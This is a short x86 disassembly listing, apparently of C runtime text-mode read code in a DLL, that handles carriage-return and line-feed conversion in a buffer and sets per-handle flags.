mov eax, dword [ecx*4 + 0x10025f48]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1000dc52
cmp byte [ebp - 1], 0xa
jne 0x1000dc19
cmp esi, ebx
jne 0x1000dc19
mov byte [esi], 0xa
jmp 0x1000dc51
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1000d3bb
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1000dc52
mov byte [esi], 0xd
jmp 0x1000dc51
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x10025f48]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1000dc4f
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1000dc52
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret